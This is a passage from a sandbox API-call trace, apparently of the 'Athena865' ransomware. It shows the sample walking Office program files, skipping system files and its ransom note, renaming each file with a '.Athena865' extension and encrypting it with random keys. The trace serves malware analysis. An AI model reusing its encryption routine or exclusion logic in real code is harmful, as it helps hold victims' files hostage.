lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3506) returned 1 [0083.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.537] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.538] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.538] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.538] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c0, lpName=0x0) returned 0x154 [0083.539] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c0) returned 0x100000 [0083.540] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.541] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.541] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.542] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0083.542] CloseHandle (hObject=0x154) returned 1 [0083.542] CloseHandle (hObject=0x17c) returned 1 [0083.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.542] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4186400, ftCreationTime.dwHighDateTime=0x1cabf1b, ftLastAccessTime.dwLowDateTime=0x6cfec6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4186400, ftLastWriteTime.dwHighDateTime=0x1cabf1b, nFileSizeHigh=0x0, nFileSizeLow=0xee1768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPCORE.DLL", cAlternateFileName="")) returned 1 [0083.542] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.542] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.542] lstrcmpiW (lpString1="PPCORE.DLL", lpString2=".") returned 1 [0083.542] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="..") returned 1 [0083.542] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="windows") returned -1 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="bootmgr") returned 1 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="temp") returned -1 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="pagefile.sys") returned 1 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="boot") returned 1 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="ids.txt") returned 1 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="ntuser.dat") returned 1 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="perflogs") returned 1 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2="MSBuild") returned 1 [0083.543] lstrlenW (lpString="PPCORE.DLL") returned 10 [0083.543] lstrcpyW (in: lpString1=0x241e89e, lpString2="PPCORE.DLL" | out: lpString1="PPCORE.DLL") returned="PPCORE.DLL" [0083.543] lstrlenW (lpString="PPCORE.DLL") returned 10 [0083.543] lstrlenW (lpString="Athena865") returned 9 [0083.543] lstrcmpiW (lpString1="PCORE.DLL", lpString2="Athena865") returned 1 [0083.543] lstrlenW (lpString=".dll") returned 4 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2=".dll") returned 1 [0083.543] lstrlenW (lpString=".lnk") returned 4 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2=".lnk") returned 1 [0083.543] lstrlenW (lpString=".ini") returned 4 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2=".ini") returned 1 [0083.543] lstrlenW (lpString=".sys") returned 4 [0083.543] lstrcmpiW (lpString1="PPCORE.DLL", lpString2=".sys") returned 1 [0083.543] lstrlenW (lpString="PPCORE.DLL") returned 10 [0083.543] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL.Athena865") returned 63 [0083.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll.athena865"), dwFlags=0x1) returned 1 [0083.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.544] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15603560) returned 1 [0083.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.545] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.545] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.545] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.545] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee1a70, lpName=0x0) returned 0x154 [0083.547] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xe00000, dwNumberOfBytesToMap=0xe1a70) returned 0x2d50000 [0083.666] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.667] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.667] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.668] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0083.676] CloseHandle (hObject=0x154) returned 1 [0083.676] CloseHandle (hObject=0x17c) returned 1 [0083.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.684] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c0c100, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x6d012810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3c0c100, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x77d90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0083.684] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.684] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.684] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".") returned 1 [0083.684] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="..") returned 1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="windows") returned -1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="bootmgr") returned 1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="temp") returned -1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="pagefile.sys") returned 1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="boot") returned 1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="ids.txt") returned 1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="ntuser.dat") returned 1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="perflogs") returned 1 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="MSBuild") returned 1 [0083.685] lstrlenW (lpString="PPSLAX.DLL") returned 10 [0083.685] lstrcpyW (in: lpString1=0x241e89e, lpString2="PPSLAX.DLL" | out: lpString1="PPSLAX.DLL") returned="PPSLAX.DLL" [0083.685] lstrlenW (lpString="PPSLAX.DLL") returned 10 [0083.685] lstrlenW (lpString="Athena865") returned 9 [0083.685] lstrcmpiW (lpString1="PSLAX.DLL", lpString2="Athena865") returned 1 [0083.685] lstrlenW (lpString=".dll") returned 4 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".dll") returned 1 [0083.685] lstrlenW (lpString=".lnk") returned 4 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".lnk") returned 1 [0083.685] lstrlenW (lpString=".ini") returned 4 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".ini") returned 1 [0083.685] lstrlenW (lpString=".sys") returned 4 [0083.685] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".sys") returned 1 [0083.685] lstrlenW (lpString="PPSLAX.DLL") returned 10 [0083.685] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PPSLAX.DLL.Athena865") returned 63 [0083.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPSLAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppslax.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPSLAX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ppslax.dll.athena865"), dwFlags=0x1) returned 1 [0083.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPSLAX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ppslax.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.687] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=490896) returned 1 [0083.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.688] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.688] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.688] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.689] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78090, lpName=0x0) returned 0x154 [0083.690] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78090) returned 0x2d50000 [0083.706] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.706] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.706] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.707] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0083.711] CloseHandle (hObject=0x154) returned 1 [0083.711] CloseHandle (hObject=0x17c) returned 1 [0083.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.714] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x5a6145f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x39df60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPTICO.EXE", cAlternateFileName="")) returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2=".") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="..") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="windows") returned -1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="bootmgr") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="temp") returned -1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="pagefile.sys") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="boot") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="ids.txt") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="ntuser.dat") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="perflogs") returned 1 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2="MSBuild") returned 1 [0083.714] lstrlenW (lpString="PPTICO.EXE") returned 10 [0083.714] lstrcpyW (in: lpString1=0x241e89e, lpString2="PPTICO.EXE" | out: lpString1="PPTICO.EXE") returned="PPTICO.EXE" [0083.714] lstrlenW (lpString="PPTICO.EXE") returned 10 [0083.714] lstrlenW (lpString="Athena865") returned 9 [0083.714] lstrcmpiW (lpString1="PTICO.EXE", lpString2="Athena865") returned 1 [0083.714] lstrlenW (lpString=".dll") returned 4 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2=".dll") returned 1 [0083.714] lstrlenW (lpString=".lnk") returned 4 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2=".lnk") returned 1 [0083.714] lstrlenW (lpString=".ini") returned 4 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2=".ini") returned 1 [0083.714] lstrlenW (lpString=".sys") returned 4 [0083.714] lstrcmpiW (lpString1="PPTICO.EXE", lpString2=".sys") returned 1 [0083.714] lstrlenW (lpString="PPTICO.EXE") returned 10 [0083.714] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE.Athena865") returned 63 [0083.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe.athena865"), dwFlags=0x1) returned 1 [0083.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.716] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3792736) returned 1 [0083.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.716] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.717] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.717] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.717] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39e260, lpName=0x0) returned 0x154 [0083.718] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x19e260) returned 0x2d50000 [0083.856] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.857] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.857] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.858] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0083.872] CloseHandle (hObject=0x154) returned 1 [0083.872] CloseHandle (hObject=0x17c) returned 1 [0083.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.881] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x5a6145f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x13764, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPTIRM.XML", cAlternateFileName="")) returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2=".") returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="..") returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="windows") returned -1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="bootmgr") returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="temp") returned -1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="pagefile.sys") returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="boot") returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="ids.txt") returned 1 [0083.881] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="ntuser.dat") returned 1 [0083.882] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="perflogs") returned 1 [0083.882] lstrcmpiW (lpString1="PPTIRM.XML", lpString2="MSBuild") returned 1 [0083.882] lstrlenW (lpString="PPTIRM.XML") returned 10 [0083.882] lstrcpyW (in: lpString1=0x241e89e, lpString2="PPTIRM.XML" | out: lpString1="PPTIRM.XML") returned="PPTIRM.XML" [0083.882] lstrlenW (lpString="PPTIRM.XML") returned 10 [0083.882] lstrlenW (lpString="Athena865") returned 9 [0083.882] lstrcmpiW (lpString1="PTIRM.XML", lpString2="Athena865") returned 1 [0083.882] lstrlenW (lpString=".dll") returned 4 [0083.882] lstrcmpiW (lpString1="PPTIRM.XML", lpString2=".dll") returned 1 [0083.882] lstrlenW (lpString=".lnk") returned 4 [0083.882] lstrcmpiW (lpString1="PPTIRM.XML", lpString2=".lnk") returned 1 [0083.882] lstrlenW (lpString=".ini") returned 4 [0083.882] lstrcmpiW (lpString1="PPTIRM.XML", lpString2=".ini") returned 1 [0083.882] lstrlenW (lpString=".sys") returned 4 [0083.882] lstrcmpiW (lpString1="PPTIRM.XML", lpString2=".sys") returned 1 [0083.882] lstrlenW (lpString="PPTIRM.XML") returned 10 [0083.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.Athena865") returned 63 [0083.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml.athena865"), dwFlags=0x1) returned 1 [0083.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.884] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79716) returned 1 [0083.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.885] CryptAcquireContextW 